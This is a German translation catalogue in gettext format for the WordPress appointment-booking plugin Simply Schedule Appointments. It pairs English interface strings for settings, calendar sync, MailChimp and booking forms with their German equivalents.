includes/divi/includes/modules/SSADiviBookingModule/SSADiviBookingModule.php:67 #: includes/divi/includes/modules/SSADiviBookingModule/SSADiviBookingModule.php:127 #: includes/elementor/widgets/booking.php:516 #: languages/admin-app-translations.php:1251 msgid "Padding" msgstr "Innenabstand" #: languages/admin-app-translations.php:1250 msgid "Font family" msgstr "Schriftfamilie" #: languages/admin-app-translations.php:1248 msgid "Contrast mode" msgstr "Kontrastmodus" #: languages/admin-app-translations.php:1247 msgid "Background color" msgstr "Hintergrundfarbe" #: languages/admin-app-translations.php:1246 msgid "Accent color" msgstr "Akzentfarbe" #: includes/beaver-builder/modules/booking/booking.php:61 #: includes/elementor/widgets/booking.php:482 #: languages/admin-app-translations.php:1245 msgid "Styles" msgstr "Stile" #: languages/booking-app-new-translations.php:169 #: languages/booking-app-translations.php:129 msgid "Zip" msgstr "PLZ" #: languages/admin-app-translations.php:490 msgid "Default Admin Email" msgstr "Standard-E-Mail-Adresse des Administrators" #: languages/admin-app-translations.php:486 msgid "Who are visitors booking their appointment with? (this is probably your name)" msgstr "Bei wem buchen die Besucher ihren Termin? (dies ist wahrscheinlich dein Name)" #: languages/admin-app-translations.php:261 #: languages/admin-app-translations.php:399 msgid "Available in Pro" msgstr "Verfügbar in Pro" #: languages/admin-app-translations.php:398 msgid "Available in Plus" msgstr "Verfügbar in Plus" #: languages/admin-app-translations.php:1627 msgid "Back to Appointment Types" msgstr "Zurück zu den Terminarten" #: languages/admin-app-translations.php:1626 msgid "Edit selected appointment types individually" msgstr "Ausgewählte Terminarten einzeln bearbeiten" #: languages/admin-app-translations.php:755 msgid "Where do I find this?" msgstr "Wo finde ich das?" #: languages/admin-app-translations.php:735 msgid "Manage License" msgstr "Lizenz verwalten" #: languages/admin-app-translations.php:128 msgid "Sync appointments with this calendar" msgstr "Termine mit diesem Kalender synchronisieren" #: languages/admin-app-translations.php:1156 #: languages/admin-app-translations.php:1637 #: languages/booking-app-new-translations.php:165 #: languages/booking-app-translations.php:125 msgid "Phone" msgstr "Telefon" #: languages/admin-app-translations.php:873 #: languages/admin-app-translations.php:1149 #: languages/admin-app-translations.php:1636 #: languages/booking-app-new-translations.php:164 #: languages/booking-app-translations.php:124 msgid "Email" msgstr "E-Mail" #: languages/admin-app-translations.php:45 #: languages/booking-app-new-translations.php:157 #: languages/booking-app-translations.php:117 msgid "hours" msgstr "Stunden" #: languages/admin-app-translations.php:44 #: languages/booking-app-new-translations.php:156 #: languages/booking-app-translations.php:116 msgid "hour" msgstr "Stunde" #: languages/admin-app-translations.php:50 #: languages/booking-app-new-translations.php:155 #: languages/booking-app-translations.php:115 msgid "days" msgstr "Tage" #: languages/admin-app-translations.php:49 #: languages/booking-app-new-translations.php:154 #: languages/booking-app-translations.php:114 msgid "day" msgstr "Tag" #: languages/admin-app-translations.php:55 #: languages/booking-app-new-translations.php:153 #: languages/booking-app-translations.php:113 msgid "weeks" msgstr "Wochen" #: languages/admin-app-translations.php:54 #: languages/booking-app-new-translations.php:152 #: languages/booking-app-translations.php:112 msgid "week" msgstr "Woche" #: languages/admin-app-translations.php:40 #: languages/booking-app-new-translations.php:151 #: languages/booking-app-translations.php:111 msgid "minutes" msgstr "Minuten" #: languages/admin-app-translations.php:39 #: languages/booking-app-new-translations.php:150 #: languages/booking-app-translations.php:110 msgid "minute" msgstr "Minute" #: languages/booking-app-new-translations.php:146 #: languages/booking-app-translations.php:106 msgid "Evening" msgstr "Abend" #: languages/booking-app-new-translations.php:145 #: languages/booking-app-translations.php:105 msgid "Afternoon" msgstr "Nachmittag" #: languages/booking-app-new-translations.php:144 #: languages/booking-app-translations.php:104 msgid "Morning" msgstr "Vormittag" #: languages/booking-app-new-translations.php:143 #: languages/booking-app-translations.php:103 msgid "Night" msgstr "Nacht" #: languages/booking-app-new-translations.php:126 #: languages/booking-app-translations.php:89 msgid " is required." msgstr " ist erforderlich." #: languages/booking-app-new-translations.php:125 #: languages/booking-app-translations.php:88 msgid "No appointment types have been set up yet." msgstr "Es wurden noch keine Terminarten eingerichtet." #: languages/booking-app-new-translations.php:124 #: languages/booking-app-translations.php:87 msgid "Unable to get the available appointment types" msgstr "Die verfügbaren Terminarten können nicht abgerufen werden" #: languages/booking-app-new-translations.php:123 #: languages/booking-app-translations.php:86 msgid "Unable to get the settings" msgstr "Die Einstellungen können nicht abgerufen werden" #: languages/booking-app-new-translations.php:122 #: languages/booking-app-translations.php:85 msgid "Error loading API" msgstr "Fehler beim Laden der API" #: languages/booking-app-new-translations.php:121 #: languages/booking-app-translations.php:84 msgid "We ran into a problem: " msgstr "Wir sind auf ein Problem gestoßen:" #: languages/booking-app-new-translations.php:61 #: languages/booking-app-translations.php:55 msgid "Other" msgstr "Andere" #: languages/booking-app-new-translations.php:60 #: languages/booking-app-translations.php:54 msgid "Google calendar" msgstr "Google Kalender" #: languages/booking-app-new-translations.php:59 #: languages/booking-app-translations.php:53 msgid "Save to calendar" msgstr "Im Kalender speichern" #: languages/booking-app-new-translations.php:50 #: languages/booking-app-translations.php:44 msgid "When: " msgstr "Wann: " #: languages/booking-app-new-translations.php:48 #: languages/booking-app-translations.php:42 msgid "You are booking: " msgstr "Du buchst: " #: languages/booking-app-new-translations.php:47 #: languages/booking-app-translations.php:41 msgid "What type of appointment are you booking?" msgstr "Was für einen Termin möchtest du buchen?" #: languages/booking-app-new-translations.php:46 #: languages/booking-app-translations.php:40 msgid "Booking:" msgstr "Buchung:" #: languages/booking-app-new-translations.php:15 #: languages/booking-app-translations.php:15 msgid "Select a timezone" msgstr "Zeitzone auswählen" #: languages/booking-app-new-translations.php:14 #: languages/booking-app-translations.php:14 msgid "Your timezone:" msgstr "Deine Zeitzone:" #: languages/booking-app-new-translations.php:13 #: languages/booking-app-translations.php:13 msgid "Loading Available Appointments" msgstr "Verfügbare Termine laden" #: languages/booking-app-new-translations.php:12 #: languages/booking-app-translations.php:12 msgid "Getting appointment information" msgstr "Termininformationen laden" #: languages/booking-app-new-translations.php:11 #: languages/booking-app-translations.php:11 msgid "Loading" msgstr "Wird geladen" #: languages/admin-app-translations.php:2030 msgid "The name, business, and email address for the main person administering appointments" msgstr "Der Name, Firma und E-Mail-Adresse der Hauptperson, die die Termine verwaltet" #: languages/admin-app-translations.php:2029 msgid "The email address where admin notifications about appointments will be sent." msgstr "Die E-Mail-Adresse, an die Administrator-Benachrichtigungen zu den Terminen gesendet werden." #: languages/admin-app-translations.php:2028 msgid "The day that should be considered the first day of the week." msgstr "Der Tag, der als erster Tag der Woche betrachtet werden sollte." #: languages/admin-app-translations.php:2027 msgid "The format you want to use for displaying the times of your appointments and availability" msgstr "Das Format, in dem du die Zeiten deiner Termine und Verfügbarkeit anzeigen möchtest" #: languages/admin-app-translations.php:2026 msgid "The format you want to use for displaying the dates of your appointments and availability." msgstr "Das Format, in dem du die Daten deiner Termine und Verfügbarkeit anzeigen möchtest." #: languages/admin-app-translations.php:2025 msgid "The timezone where you are located." msgstr "Die Zeitzone, in der du dich befindest." #: languages/admin-app-translations.php:1849 #: languages/admin-app-translations.php:1865 msgid "Keep appointment" msgstr "Termin behalten" #: languages/admin-app-translations.php:1848 msgid "Cancel appointment" msgstr "Termin stornieren" #: languages/admin-app-translations.php:1847 msgid "Cancel this appointment?" msgstr "Diesen Termin stornieren?" #: languages/admin-app-translations.php:1843 msgid "No appointments have passed yet." msgstr "Es sind noch keine Termine vorüber." #: languages/admin-app-translations.php:1842 msgid "There are no upcoming appointments scheduled." msgstr "Es sind keine kommenden Termine geplant." #: languages/admin-app-translations.php:1840 msgid "There are no past appointments" msgstr "Es gibt keine vergangenen Termine" #: languages/admin-app-translations.php:1830 msgid "Past Appointments" msgstr "Vergangene Termine" #: includes/beaver-builder/modules/upcoming-appointments/upcoming-appointments.php:20 #: includes/elementor/widgets/upcoming-appointments.php:36 #: languages/admin-app-translations.php:1832 msgid "Upcoming Appointments" msgstr "Kommende Termine" #: languages/admin-app-translations.php:1827 msgid "Cancel this appointment" msgstr "Diesen Termin stornieren" #: languages/admin-app-translations.php:1608 msgid "Add new appointments to this calendar" msgstr "Neue Termine zu diesem Kalender hinzufügen" #: languages/admin-app-translations.php:979 #: languages/admin-app-translations.php:1082 #: languages/admin-app-translations.php:1370 #: languages/admin-app-translations.php:1607 msgid "Keep" msgstr "Behalten" #: languages/admin-app-translations.php:1604 msgid "Delete this appointment type?" msgstr "Diese Terminart löschen?" #: languages/admin-app-translations.php:1801 msgid "Send Customer Notification Email" msgstr "Kundenbenachrichtigungs-E-Mail senden" #: languages/admin-app-translations.php:1800 msgid "Send Admin Notification Email to" msgstr "Administrator-Benachrichtigungs-E-Mail senden an" #: languages/admin-app-translations.php:1624 msgid "Update" msgstr "Aktualisieren" #: languages/admin-app-translations.php:1622 msgid "Add Field" msgstr "Feld hinzufügen" #: languages/admin-app-translations.php:23 #: languages/admin-app-translations.php:980 #: languages/admin-app-translations.php:1081 #: languages/admin-app-translations.php:1371 #: languages/admin-app-translations.php:1606 #: languages/admin-app-translations.php:1621 msgid "Delete" msgstr "Löschen" #: languages/admin-app-translations.php:21 #: languages/admin-app-translations.php:1620 msgid "Clone" msgstr "Klonen" #: languages/admin-app-translations.php:1619 msgid "Bulk Edit" msgstr "Mehrfachbearbeitung" #: languages/admin-app-translations.php:25 #: languages/admin-app-translations.php:1618 msgid "Edit" msgstr "Bearbeiten" #: languages/admin-app-translations.php:1616 msgid "Add New" msgstr "Neu hinzufügen" #: languages/admin-app-translations.php:1680 #: languages/admin-app-translations.php:1748 #: languages/booking-app-new-translations.php:110 msgid "None" msgstr "Keine" #: languages/admin-app-translations.php:1679 msgid "There are no lists associated with your MailChimp account." msgstr "Es gibt keine Listen, die mit deinem MailChimp-Konto verbunden sind." #: languages/admin-app-translations.php:1678 msgid "Customers will have the option to subscribe to which MailChimp list?" msgstr "Welche MailChimp-Liste werden Kunden abonnieren können?" #: languages/admin-app-translations.php:1676 msgid "Text to display next to opt in checkbox" msgstr "Text, der neben der Opt-in-Checkbox angezeigt werden soll" #: languages/admin-app-translations.php:1675 msgid "Subscribe to newsletter" msgstr "Newsletter abonnieren" #: languages/admin-app-translations.php:1661 msgid "One value-per-line" msgstr "Ein Wert pro Zeile" #: languages/admin-app-translations.php:1660 msgid "Values" msgstr "Werte" #: languages/admin-app-translations.php:1659 msgid "Icon" msgstr "Icon" #: languages/admin-app-translations.php:872 #: languages/admin-app-translations.php:1658 msgid "Type" msgstr "Art" #: languages/admin-app-translations.php:1657 msgid "Required" msgstr "Erforderlich" #: languages/admin-app-translations.php:1651 msgid "Radios" msgstr "Radio-Buttons" #: languages/admin-app-translations.php:1650 msgid "Checkboxes" msgstr "Checkboxen" #: languages/admin-app-translations.php:1649 msgid "Multi Line Text" msgstr "Mehrzeiliger Text" #: languages/admin-app-translations.php:1648 msgid "Single Line Text" msgstr "Einzelne Textzeile" #: languages/admin-app-translations.php:1642 #: languages/booking-app-new-translations.php:170 #: languages/booking-app-translations.php:130 msgid "Notes" msgstr "Anmerkungen" #: languages/admin-app-translations.php:1641 msgid "Zip Code" msgstr "Postleitzahl" #: languages/admin-app-translations.php:1640 #: languages/booking-app-new-translations.php:168 #: languages/booking-app-translations.php:128 msgid "State" msgstr "Region" #: languages/admin-app-translations.php:1639 #: languages/booking-app-new-translations.php:167 #: languages/booking-app-translations.php:127 msgid "City" msgstr "Ort" #: languages/admin-app-translations.php:1638 #: languages/booking-app-new-translations.php:166 #: languages/booking-app-translations.php:126 msgid "Address" msgstr "Adresse" #: languages/admin-app-translations.php:1652 msgid "Phone number" msgstr "Telefonnummer" #: languages/admin-app-translations.php:1603 msgid "Require" msgstr "Erforderlich" #: languages/admin-app-translations.php:1602 msgid "Display" msgstr "Anzeigen" #: languages/admin-app-translations.php:1585 msgid "Minimum notice required when booking" msgstr "Minimal erforderliche Ankündigung bei der Buchung" #: languages/admin-app-translations.php:1581 msgid "Max number of appointments of this type to book per day" msgstr "Maximale Anzahl zu buchender Termine dieser Art pro Tag" #: languages/admin-app-translations.php:1580 msgid "Limit the number of appointments of this type that can be booked in a day?" msgstr "Die Anzahl Termine dieser Art begrenzen, die an einem Tag gebucht werden können?" #: languages/admin-app-translations.php:1576 msgid "How much time should be left free after an appointment of this type?" msgstr "Wie viel Zeit soll nach einem Termin dieser Art frei bleiben?" #: languages/admin-app-translations.php:1575 msgid "How much time should be left free before an appointment of this type?" msgstr "Wie viel Zeit soll vor einem Termin dieser Art frei bleiben?" #: languages/admin-app-translations.php:1558 msgid "e.g. \"I'll call you\" or \"We'll meet at your office\"" msgstr "z.B. „Ich rufe dich an“ oder „Wir treffen uns in deinem Büro“" #: languages/admin-app-translations.php:1557 msgid "Optional brief instructions to your customer to explain appointment logistics" msgstr "Optionale Kurzanleitung für deine Kunden zur Erläuterung der Terminlogistik" #: languages/admin-app-translations.php:1556 #: languages/admin-app-translations.php:1662 msgid "Instructions" msgstr "Anleitung" #: languages/admin-app-translations.php:1429 msgid "Slug" msgstr "Titelform" #: includes/elementor/widgets/booking.php:166 msgid "Label" msgstr "Label" #: languages/admin-app-translations.php:1426 msgid "Duration Units" msgstr "Zeiteinheit" #: includes/class-block-booking.php:100 #: includes/elementor/widgets/booking.php:294 #: languages/admin-app-translations.php:1425 msgid "Duration" msgstr "Dauer" #: languages/admin-app-translations.php:1422 msgid "There are no appointment types." msgstr "Es existieren keine Terminarten." #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:615 #: languages/admin-app-translations.php:871 #: languages/admin-app-translations.php:1138 #: languages/admin-app-translations.php:1335 #: languages/admin-app-translations.php:1420 #: languages/admin-app-translations.php:1635 #: languages/booking-app-new-translations.php:163 #: languages/booking-app-translations.php:123 msgid "Name" msgstr "Name" #: languages/admin-app-translations.php:759 msgid "Disconnecting your account" msgstr "Deine Kontoverbindung trennen" #: languages/admin-app-translations.php:758 msgid "Getting your lists" msgstr "Deine Liste laden" #: languages/admin-app-translations.php:757 msgid "MailChimp Lists" msgstr "MailChimp-Listen" #: languages/admin-app-translations.php:756 msgid "Save and authorize" msgstr "Speichern und autorisieren" #: languages/admin-app-translations.php:753 msgid "API Key" msgstr "API-Schlüssel" #: languages/admin-app-translations.php:664 #: languages/admin-app-translations.php:1395 msgid "Client Secret" msgstr "Client-Schlüssel" #: languages/admin-app-translations.php:663 msgid "Save and Authorize" msgstr "Speichern und autorisieren" #: languages/admin-app-translations.php:658 #: languages/admin-app-translations.php:1393 msgid "Client ID" msgstr "Client-ID" #: languages/admin-app-translations.php:657 msgid "Go Now" msgstr "Los geht's" #: languages/admin-app-translations.php:656 msgid "Enter your Google API information below." msgstr "Gib deine Google-API-Informationen unten ein." #: languages/admin-app-translations.php:655 #: languages/admin-app-translations.php:1380 #: languages/admin-app-translations.php:1391 msgid "Connected account" msgstr "Verbundenes Konto" #: languages/admin-app-translations.php:653 #: languages/admin-app-translations.php:1381 #: languages/admin-app-translations.php:1392 msgid "Disconnect" msgstr "Verbindung trennen" #: languages/admin-app-translations.php:652 msgid "Connect Google Account" msgstr "Google-Konto verbinden" #: languages/admin-app-translations.php:228 msgid "Google Calendar Sync" msgstr "Google-Kalender-Synchronisierung" #: languages/admin-app-translations.php:447 msgid "Blackout dates are dates blocked off your calendar entirely for all appointment types. Perfect for vacation days, travel days, or other days when you're not available for appointments." msgstr "Sperrdaten sind Tage, die für alle Terminarten komplett aus deinem Kalender gesperrt sind. Perfekt für Urlaubstage, Reisetage oder andere Tage, an denen du für Termine nicht verfügbar bist." #: includes/class-availability-model.php:740 #: languages/admin-app-translations.php:446 msgid "Blackout Dates" msgstr "Sperrdaten" #: languages/admin-app-translations.php:739 msgid "Validating..." msgstr "Wird validiert..." #: languages/admin-app-translations.php:736 msgid "License Key" msgstr "Lizenzschlüssel" #: languages/admin-app-translations.php:499 msgid "Your settings won't be saved if you leave the page." msgstr "Deine Einstellungen werden nicht gespeichert, wenn du die Seite verlässt." #: languages/admin-app-translations.php:498 #: languages/admin-app-translations.php:585 #: languages/admin-app-translations.php:777 #: languages/admin-app-translations.php:981 #: languages/admin-app-translations.php:1021 #: languages/admin-app-translations.php:1083 #: languages/admin-app-translations.php:1253 #: languages/admin-app-translations.php:1372 #: languages/admin-app-translations.php:1609 msgid "Are you sure?" msgstr "Bist du dir sicher?" #: languages/admin-app-translations.php:497 msgid "Book an Appointment" msgstr "Termin buchen" #: languages/admin-app-translations.php:496 msgid "Week Starts On" msgstr "Woche beginnt am" #: languages/admin-app-translations.php:488 msgid "Business Name" msgstr "Geschäftsname" #: languages/admin-app-translations.php:485 msgid "Appointment Contact" msgstr "Kontakt für Termine" #: languages/admin-app-translations.php:484 msgid "Time Format" msgstr "Zeitformat" #: languages/admin-app-translations.php:483 msgid "Date Format" msgstr "Datumsformat" #: languages/admin-app-translations.php:481 msgid "Your WordPress setting doesn't appear to match your current location." msgstr "Deine WordPress-Einstellung scheint nicht mit deinem aktuellen Standort übereinzustimmen." #: languages/admin-app-translations.php:480 msgid "Timezone" msgstr "Zeitzone" #: languages/admin-app-translations.php:479 msgid "General Settings" msgstr "Allgemeine Einstellungen" #: languages/admin-app-translations.php:429 msgid "Return to Settings" msgstr "Zurück zu den Einstellungen" #: includes/class-wp-admin.php:298 includes/class-wp-admin.php:299 #: languages/admin-app-translations.php:424 msgid "Settings" msgstr "Einstellungen" #: includes/class-wp-admin.php:278 includes/class-wp-admin.php:279 #: includes/elementor/widgets/booking.php:214 #: includes/elementor/widgets/upcoming-appointments.php:230 #: languages/admin-app-translations.php:421 msgid "Appointment Types" msgstr "Terminarten" #: languages/admin-app-translations.php:420 msgid "Getting your appointment types" msgstr "Deine Terminarten laden" #: languages/admin-app-translations.php:418 msgid "Getting your appointments" msgstr "Deine Termine laden" #: languages/admin-app-translations.php:425 msgid "Coming Soon" msgstr "Demnächst verfügbar" #: languages/admin-app-translations.php:189 msgid "Set up another appointment type" msgstr "Andere Terminart einrichten" #: includes/class-error-notices.php:289 includes/class-error-notices.php:298 #: includes/class-error-notices.php:316 includes/class-error-notices.php:325 #: languages/admin-app-translations.php:188 msgid "Go to settings" msgstr "Gehe zu den Einstellungen" #: languages/admin-app-translations.php:187 msgid "Try booking an appointment" msgstr "Versuche einen Termin zu buchen" #: languages/admin-app-translations.php:186 #: languages/booking-app-new-translations.php:95 #: languages/booking-app-translations.php:79 msgid "What would you like to do next?" msgstr "Was möchtest du als nächstes tun?" #: languages/admin-app-translations.php:184 msgid "Congratulations! You're all set up." msgstr "Herzlichen Glückwunsch! Du bist bereit." #: languages/admin-app-translations.php:166 #: languages/admin-app-translations.php:668 msgid "Success! Your Google Calendar account is connected." msgstr "Erfolgreich! Dein Google-Kalender-Konto ist verbunden." #: languages/admin-app-translations.php:164 msgid "Want to sync with Google Calendar?" msgstr "Möchtest du mit Google Kalender synchronisieren?" #: languages/admin-app-translations.php:154 msgid "Use this shortcode in any post or page to create a special booking form where your customers can book just this appointment type" msgstr "Verwend diesen Shortcode in jedem Beitrag oder auf jeder Seite, um ein spezielles Buchungsformular zu erstellen, in dem deine Kunden genau diese Terminart buchen können" #: languages/admin-app-translations.php:153 msgid "Use this shortcode in any post or page to create a general booking form where your customers can choose any appointment type" msgstr "Verwende diesen Shortcode in jedem Beitrag oder auf jeder Seite, um ein allgemeines Buchungsformular zu erstellen, in dem deine Kunden jede Terminart wählen können" #: languages/admin-app-translations.php:152 msgid "Let your customers book this appointment type" msgstr "Lass deine Kunden diese Terminart buchen" #: languages/admin-app-translations.php:150 msgid "Booking Info" msgstr "Buchungsinformationen" #: languages/admin-app-translations.php:147 msgid "Allow your customers to subscribe to a selected MailChimp list when booking an appointment" msgstr "Ermögliche deinen Kunden bei der Buchung eines Termins eine ausgewählte MailChimp-Liste zu abonnieren" #: languages/admin-app-translations.php:146 #: languages/admin-app-translations.php:752 msgid "MailChimp" msgstr "MailChimp" #: languages/admin-app-translations.php:142 msgid "Check these calendars for conflicts" msgstr "Überprüfe diese Kalender auf Konflikte" #: languages/admin-app-translations.php:141 msgid "Synchronize your appointments with your Google calendar" msgstr "Synchronisieren deiner Termine mit deinem Google Kalender" #: includes/class-availability-model.php:750 #: languages/admin-app-translations.php:140 msgid "Google Calendar" msgstr "Google Kalender" #: languages/admin-app-translations.php:139 msgid "Make sure everything looks correct" msgstr "Vergewissere Dich, dass alles korrekt ist" #: languages/admin-app-translations.php:138 msgid "Review" msgstr "Überprüfen" #: languages/admin-app-translations.php:137 msgid "Options for sending customer and admin notifications" msgstr "Optionen für den Versand von Kunden- und Administrator-Benachrichtigungen" #: languages/admin-app-translations.php:136 #: languages/admin-app-translations.php:856 msgid "Notifications" msgstr "Benachrichtigungen" #: languages/admin-app-translations.php:135 msgid "What do you need to know about your customer?" msgstr "Was musst du über deine Kunden wissen?" #: languages/admin-app-translations.php:134 msgid "Customer Information" msgstr "Kundeninformationen" #: languages/admin-app-translations.php:131 msgid "Rules around how and when people can schedule this type of appointment" msgstr "Regeln, wie und wann Personen diese Terminart vereinbaren können" #: languages/admin-app-translations.php:130 msgid "Scheduling Options" msgstr "Terminoptionen" #: languages/admin-app-translations.php:127 msgid "When are you available for this type of appointment?" msgstr "Wann bist du für diese Terminart verfügbar?" #: languages/admin-app-translations.php:126 #: languages/admin-app-translations.php:1121 msgid "Availability" msgstr "Verfügbarkeit" #: languages/admin-app-translations.php:122 msgid "Continue" msgstr "Weiter" #: languages/admin-app-translations.php:121 #: languages/booking-app-new-translations.php:45 msgid "Back" msgstr "Zurück" #: languages/admin-app-translations.php:114 msgid "The basics for this type of appointment" msgstr "Die Grundlagen für diese Terminart" #: languages/admin-app-translations.php:113 msgid "Basics" msgstr "Grundlagen" #: languages/admin-app-translations.php:124 msgid "Set up your first appointment type" msgstr "Richte deine erste Terminart ein" #: languages/admin-app-translations.php:125 msgid "Setting up your appointment type" msgstr "Konfigurieren deiner Terminart" #: languages/admin-app-translations.php:108 msgid "Exit wizard and go to settings" msgstr "Assistent beenden und zu den Einstellungen gehen" #: languages/admin-app-translations.php:107 msgid "Needs some adjusting" msgstr "Benötigt einige Anpassungen" #: languages/admin-app-translations.php:106 msgid "Looks good! Let's go!" msgstr "Sieht gut aus! Los geht's!" #: languages/admin-app-translations.php:105 msgid "Next, we detected these preferences. Are these correct?" msgstr "Als nächstes haben wir diese Einstellungen entdeckt. Sind diese korrekt?" #: languages/admin-app-translations.php:104 msgid "First things first, we detected these preferences. Are these correct?" msgstr "Zuerst einmal haben wir diese Einstellungen entdeckt. Sind diese korrekt?" #: languages/admin-app-translations.php:103 msgid "Detecting your settings" msgstr "Ermitteln deiner Einstellungen" #: languages/admin-app-translations.php:99 msgid "First things first. Got your license key handy?" msgstr "Eins nach dem anderen. Hast du deinen Lizenzschlüssel griffbereit?" #: languages/admin-app-translations.php:94 msgid "Next" msgstr "Weiter" #: languages/admin-app-translations.php:93 msgid "Skip this for now" msgstr "Dies vorerst überspringen" #: languages/admin-app-translations.php:89 msgid "No, thanks. I got this." msgstr "Nein, danke. Ich mache das." #: languages/admin-app-translations.php:88 msgid "Yes, help me please!" msgstr "Ja, bitte hilf mir!" #: languages/admin-app-translations.php:87 msgid "It looks like it's your first time here. Can we help you get set up?" msgstr "Es sieht aus, als wärst du zum ersten Mal hier. Können wir dir beim Einrichten helfen?" #: languages/admin-app-translations.php:86 msgid "Welcome to Simply Schedule Appointments" msgstr "Wilkommen bei Simply Schedule Appointments" #: languages/admin-app-translations.php:67 msgid "Appointment type name is required" msgstr "Name für Terminart ist erforderlich" #: languages/admin-app-translations.php:66 msgid "We were unable to load the appointments" msgstr "Wir konnten die Termine nicht laden" #: languages/admin-app-translations.php:62 msgid "We ran into a problem:" msgstr "Wir sind auf ein Problem gestoßen:" #: languages/admin-app-translations.php:61 msgid "Oh, for fox sake" msgstr "Oh, um Himmels willen" #: includes/class-block-booking.php:105 #: includes/elementor/widgets/booking.php:306 msgid "Minutes" msgstr "Minuten" #: languages/admin-app-translations.php:13 msgid "Back to WordPress dashboard" msgstr "Zurück zum WordPress-Dashboard" #: includes/class-appointment-object.php:424 #: includes/class-appointment-object.php:428 #: languages/admin-app-translations.php:10 #: languages/admin-app-translations.php:1926 #: languages/admin-app-translations.php:1935 #: languages/admin-app-translations.php:2201 msgid "Canceled" msgstr "Storniert" #: languages/admin-app-translations.php:9 #: languages/admin-app-translations.php:31 #: languages/admin-app-translations.php:1623 #: languages/booking-app-new-translations.php:105 #: languages/booking-app-new-translations.php:184 #: languages/booking-app-translations.php:144 msgid "Cancel" msgstr "Abbrechen" #: languages/admin-app-translations.php:8 msgid "OK" msgstr "OK" #: languages/admin-app-translations.php:7 #: languages/booking-app-new-translations.php:51 #: languages/booking-app-translations.php:45 msgid "Saving" msgstr "Wird gespeichert" #: languages/admin-app-translations.php:6 msgid "Save and Continue" msgstr "Speichern und fortfahren" #: languages/admin-app-translations.php:5 #: languages/admin-app-translations.php:1625 msgid "Save" msgstr "Speichern" #: languages/admin-app-translations.php:4 msgid "Setting Up" msgstr "Konfigurieren" #. Author of the plugin #: simply-schedule-appointments.php msgid "NSquared" msgstr "NSquared" #. Description of the plugin #: simply-schedule-appointments.php msgid "Easy appointment scheduling" msgstr "Einfache Terminplanung" #. Plugin URI of the plugin #: simply-schedule-appointments.php msgid "https://simplyscheduleappointments.com" msgstr "https://simplyscheduleappointments.com" #. Plugin Name of the plugin #: simply-schedule-appointments.php #: includes/beaver-builder/modules/booking/booking.php:22 #: includes/beaver-builder/modules/upcoming-appointments/upcoming-appointments.php:22 #: includes/class-capabilities.php:126 msgid "Simply Schedule Appointments" msgstr "Simply Schedule Appointments" #: simply-schedule-appointments.php:679 msgid "Simply Schedule Appointments detected that your system does not meet the minimum requirements. We've <a href=\"%s\">deactivated</a> Simply Schedule Appointments to make sure nothing breaks." msgstr "Simply Schedule Appointments hat festgestellt, dass dein System die Mindestanforderungen nicht erfüllt. Um Fehlfunktionen zu verhindern, haben wir Simply Schedule Appointments <a href=\"%s\">deaktiviert</a>." #: includes/lib/td-health-check/includes/class-health-check-debug-data.php:625 msgid "Author" msgstr "Autor" #: includes/class-wp-admin.php:265 includes/class-wp-admin.php:266 #: languages/admin-app-translations.php:419 msgid "Appointments" msgstr "Termine" #: includes/class-ics-exporter.php:178 msgid "Appointments from %s" msgstr "Termine von %s"
Close